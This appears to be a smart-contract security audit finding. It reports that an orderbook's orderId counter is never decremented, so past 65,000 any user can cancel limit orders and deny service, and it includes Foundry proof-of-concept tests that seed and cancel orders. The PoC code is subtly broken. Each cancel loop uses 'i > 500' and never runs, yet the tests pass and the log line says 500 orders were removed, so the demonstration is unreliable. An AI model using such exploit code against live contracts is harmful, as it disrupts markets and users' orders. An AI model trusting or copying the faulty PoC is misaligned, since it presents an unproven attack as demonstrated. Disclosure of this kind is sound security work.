Summary
Once the s.asset[asset].orderId
, which in theory represents number of orders in the orderbook surpasses 65_000, any user can call cancelOrderFarFromOracle()
with the last orderId, and delete the last order until there are no more orders.
Vulnerability Details
The problem is s.asset[asset].orderId
isn't decremented in any case in the entire protocol, even when an order is deleted, as is the case in cancelOrderFarFromOracle()
.
In any point that the orderId
surpasses 65_000, either naturally over time, or artificially by a malicious actor in a few blocks creating countless orders, cancelOrderFarFromOracle()
won't revert even the orders left in the orderbook are 1.
POC
First, uncomment the console import.
Replace the setOrderIdAndMakeOrders()
at test/CancelOrder.t.sol
with the following code:
function setOrderIdAndMakeOrders(O orderType) public {
vm.prank(owner);
testFacet.setOrderIdT(asset, 64500);
if (orderType == O.LimitBid) {
for (uint256 i; i < 500; i++) {
console.log(i);
fundLimitBidOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, receiver);
}
} else if (orderType == O.LimitAsk) {
for (uint256 i; i < 500; i++) {
fundLimitAskOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, receiver);
}
} else if (orderType == O.LimitShort) {
for (uint256 i; i < 500; i++) {
fundLimitShortOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, receiver);
}
}
assertEq(diamond.getAssetNormalizedStruct(asset).orderId, 65000);
}
Copy-paste the following code at the end of the test/CancelOrder.t.sol::CancelOrderTest
contract:
function testCancelOrderIfOrderIDTooHighBidPOC() public {
setOrderIdAndMakeOrders({orderType: O.LimitBid});
uint previousOrderId = diamond.getAssetNormalizedStruct(asset).orderId;
for (uint256 i = 0; i > 500; i++) {
diamond.cancelOrderFarFromOracle({
asset: asset,
orderType: O.LimitBid,
lastOrderId: uint16(64_499 - i),
numOrdersToCancel: 1
});
}
console.log("Normal user has been able to remove 500 orders from the orderbook");
assertEq(diamond.getAssetNormalizedStruct(asset).orderId, 65_000);
assertEq(previousOrderId, 65_000);
console.log("s.asset[asset].orderId hasn't changed");
}
function testCancelOrderIfOrderIDTooHighAskPOC() public {
setOrderIdAndMakeOrders({orderType: O.LimitAsk});
uint previousOrderId = diamond.getAssetNormalizedStruct(asset).orderId;
for (uint256 i = 0; i > 500; i++) {
diamond.cancelOrderFarFromOracle({
asset: asset,
orderType: O.LimitAsk,
lastOrderId: uint16(64_499 - i),
numOrdersToCancel: 1
});
}
console.log("Normal user has been able to remove 500 orders from the orderbook");
assertEq(diamond.getAssetNormalizedStruct(asset).orderId, 65_000);
assertEq(previousOrderId, 65_000);
console.log("s.asset[asset].orderId hasn't changed");
}
function testCancelOrderIfOrderIDTooHighShortPOC() public {
setOrderIdAndMakeOrders({orderType: O.LimitShort});
uint previousOrderId = diamond.getAssetNormalizedStruct(asset).orderId;
for (uint256 i = 0; i > 500; i++) {
diamond.cancelOrderFarFromOracle({
asset: asset,
orderType: O.LimitShort,
lastOrderId: uint16(64_499 - i),
numOrdersToCancel: 1
});
}
console.log("Normal user has been able to remove 500 orders from the orderbook");
assertEq(diamond.getAssetNormalizedStruct(asset).orderId, 65_000);
assertEq(previousOrderId, 65_000);
console.log("s.asset[asset].orderId hasn't changed");
}
Run the following command to execute functions targeting different order types:
forge test --mt testCancelOrderIfOrderIDTooHighBidPOC -vv
forge test --mt testCancelOrderIfOrderIDTooHighAskPOC -vv
forge test --mt testCancelOrderIfOrderIDTooHighShortPOC -vv
As you can prove, the s.asset[asset].orderId
isn't decremented, only incremented.
P.S.
The POC only decrements 500 orders because otherwise if I try to delete in a call all 65_000 orders, the test sigkills itself or it's duration is counted in hours.
Impact
Once s.asset[asset].orderId
surpasses 65_000, the orderbook for that specific asset will suffer a DOS, because any actor will be able to remove all limit orders as soon as they enter.
Tools Used
Manual review and Foundry framework
Recommendations
Decrement s.asset[asset].orderId
when an order is canceled, so that when the total order ids is lower than 65_000, it is impossible for either the DAO or any user to delete further last orders.